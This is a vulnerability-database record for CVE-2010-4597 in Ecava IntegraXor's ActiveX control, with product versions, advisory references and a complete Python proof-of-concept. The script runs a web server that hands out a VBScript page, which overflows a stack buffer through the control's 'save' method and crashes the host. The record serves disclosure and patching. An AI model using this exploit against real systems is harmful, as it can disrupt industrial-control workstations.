ID
VAR-E-201012-0376
CVE
cve_id: | CVE-2010-4597 | Trust: 1.9 |
EDB ID
15767
TITLE
Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC) - Windows dos Exploit
Trust: 0.6
DESCRIPTION
Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC). CVE-2010-4597CVE-69960 . dos exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | ecava | model: | integraxor remote | scope: | - | version: | - | Trust: 1.0 |
vendor: | ecava | model: | integraxor | scope: | eq | version: | 3.5.3900.5 | Trust: 0.3 |
vendor: | ecava | model: | integraxor | scope: | eq | version: | 3.5 | Trust: 0.3 |
vendor: | ecava | model: | integraxor | scope: | ne | version: | 3.5.3900.10 | Trust: 0.3 |
EXPLOIT
#!/usr/bin/python
# intx.py
# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
# Jeremy Brown
# December 2010
# http://www.integraxor.com/
#
# There is a stack-based buffer overflow in IntegraXor that can be triggered
# by passing an overly large value to the "save" method of the IntegraXor.Project
# control located in igcomm.dll. This control is marked both safe for scripting
# and safe for initialization.
#
# .text:100027C1 push eax ; lpString2
# .text:100027C2 lea eax, [esp+84Ch+String1]
# .text:100027C6 push eax ; lpString1
# .text:100027C7 call ds:lstrcpyW
# .text:100027CD lea ecx, [esp+848h+String1]
# .text:100027D1 push ecx
# .text:100027D2 call SplitPath
# .text:100027D7 add esp, 4
# .text:100027DA lea ecx, [esp+848h+var_83C]
# .text:100027DE call ds:??0?$basic_string@_WU?$char<truncated>
# .text:100027E4 cmp dword ptr [esi+20h], 8
# .text:100027E8 jb short loc_100027EF
# .text:100027EA mov esi, [esi+0Ch]
# .text:100027ED jmp short loc_100027F2
#
# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
# adds a terminating NULL byte to the end.
#
# If you attach a debugger and set a breakpoint on 100027CD, you can see an
# exception registration record is stored before the return address:
#
# ESP+83C > 00420042 B.B. Pointer to next SEH record
# ESP+840 > 00420042 B.B. SE handler
# ESP+844 > FFFF0000 ..��
# ESP+848 > 10007916 xxxx RETURN to igcom.10007916 from igcom.10002770
#
# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
# the return address, but it will exit with a c0000409 code (/GS exception).
#
# Tested Ecava IntegraXor 3.5.3900.5 on Windows
#
# Fixed version: 3.5.3900.10
#
import sys
import socket
resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">
data="IntegraXor"
filepath=String(1038,"B")
target.save data,filepath
</script>
</body>
</html>
"""
port=80
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("",port))
sock.listen(1)
conn,addr=sock.accept()
except IOError,e:
print e
print "Client at %s connected\n"%addr[0]
req=conn.recv(1024)
print "Sending data..."
conn.send(resp)
print "Done"
conn.close()
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
ActiveX Buffer Overflow (PoC)
Trust: 1.0
CREDITS
Jeremy Brown
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2010-4597 | Trust: 1.9 |
db: | EXPLOIT-DB | id: | 15767 | Trust: 1.6 |
db: | EDBNET | id: | 38597 | Trust: 0.6 |
db: | ICS CERT | id: | ICSA-10-322-01 | Trust: 0.3 |
db: | CERT/CC | id: | VU#603928 | Trust: 0.3 |
db: | BID | id: | 45487 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2010-4597 | Trust: 1.6 |
url: | https://www.exploit-db.com/exploits/15767/ | Trust: 0.6 |
url: | http://www.us-cert.gov/control_systems/pdf/icsa-10-322-01.pdf | Trust: 0.3 |
url: | http://www.kb.cert.org/vuls/id/603928 | Trust: 0.3 |
url: | http://www.ecava.com/index.htm | Trust: 0.3 |
SOURCES
db: | BID | id: | 45487 |
db: | EXPLOIT-DB | id: | 15767 |
db: | EDBNET | id: | 38597 |
LAST UPDATE DATE
2022-07-27T09:30:36.330000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 45487 | date: | 2015-04-13T21:02:00 |
SOURCES RELEASE DATE
db: | BID | id: | 45487 | date: | 2010-12-16T00:00:00 |
db: | EXPLOIT-DB | id: | 15767 | date: | 2010-12-18T00:00:00 |
db: | EDBNET | id: | 38597 | date: | 2010-12-18T00:00:00 |